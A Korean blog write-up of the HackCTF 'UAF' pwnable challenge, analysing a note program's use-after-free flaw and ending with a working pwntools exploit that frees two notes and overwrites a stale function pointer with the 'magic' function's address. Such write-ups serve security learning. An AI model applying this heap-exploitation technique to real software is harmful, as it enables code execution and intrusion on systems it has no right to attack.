Studying Security

[HackCTF] pwnable: UAF 풀이 본문

Wargame/HackCTF

[HackCTF] pwnable: UAF 풀이

J4guar 2022. 4. 27. 21:44
728x90
반응형

Mitigation

Vulnerability Analysis

IDA disassembler로 해당 파일을 살펴보면

<main>

menu를 주고 해당 번호에 맞는 함수를 실행시키는 구조이다.

1번 add_note함수부터 살펴보면

<add_note>

notelist[i]에 8byte의 메모리를 할당하고 4byte크기에 print_note_content함수를  나머지 4byte크기에는 이어서 할당한 메모리 영역의 주소를 넣는데 이 곳에 data를 입력한다.

이를 그림으로 보면 아래 그림과 같이 생성됨을 알 수 있다.

gdb로 확인해보자!

ex) 할당한 size는 16바이트 data는 "aaaa\n"으로 생성해보자

위에서 예상한데로 생성되는 것을 확인할 수 있다.

2번 del_note함수를 살펴보면

<del_note>

할당했던 notelist[index]의 메모리 영역을 해제한다.

3번 print_note함수를 살펴보면

<print_note>

notelist[i]에 print_note_content를 실행시킨다. 결과로 add_note함수에서 할당했던 data를 출력하게된다.

<print_note_content>

 

이 외 이용할 수 있는 함수가 존재하는데

magic함수의 경우 원하는 flag를 획득할 수 있음을 알 수 있다.

<maigc>

문제가 UAF인 만큼 Use-After-Free취약점을 이용하여 Exploit 시나리오를 작성해보자

  1. 8byte notelist[0]에 16byte의 메모리를 할당 data는 "aaaa"
  2. 8byte notelist[1]에 16byte의 메모리를 할당 data는 "bbbb"
  3. notelist[0] 해제를 하게되면 8byte 16byte의 공간이 생김
  4. notelist[1] 해제를 하게되면 8byte 16byte의 공간이 생김
  5. 결과적으로 free된 2개의 8byte와 2개의 16byte 공간이 존재한다.
  6. 8byte notelist[2]에 8byte의 메모리를 할당하게 되면 기존의 free되었던 2개의 8byte공간이 재사용된다.
  7. notelist[2]는 2번과정에서 할당했던 notelist[1] 메모리 영역을 재활용하고 할당한 8byte의 data는 notelist[0]가 존재했던 메모리 영역을 재활용하는 것을 확인할 수 있다. 따라서 data영역에 magic함수의 주소 입력한다.
  8. notelist[0]는 초기화 시키지 않았기 때문에 아직 notelist[2]의 data영역을 가리키고 있으므로 print_note를 통해 index를 0으로 주면 print_note_content함수가 아닌 magic함수가 실행되면서 flag를 획득할 수 있다.

과정을 확인해 보자

1번 2번 과정 할당
6번과정 재사용되는 영역 확인 "dddd"입력

결과적으로 dddd 대신 magic함수의 주소를 입력함으로써 print_note함수를 통해 notelist[0]에 접근하게 되면

print_note_content함수가 아닌 magic함수가 실행될 것이다.

Exploit code

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3020)
e = ELF("./uaf")

magic = e.symbols["magic"]

def add_note(size,data):
    p.sendlineafter(":","1")
    p.sendlineafter(":",str(size))
    p.sendlineafter(":",data)

def del_note(idx):
    p.sendlineafter(":","2")
    p.sendlineafter(":",str(idx))

def print_note(idx):
    p.sendlineafter(":","3")
    p.sendlineafter(":",str(idx))

add_note(0x40,"aaaa")
add_note(0x40,"bbbb")

del_note(0)
del_note(1)

add_note(0x8,p32(magic))

print_note(0)

p.interactive()

Result

반응형
Comments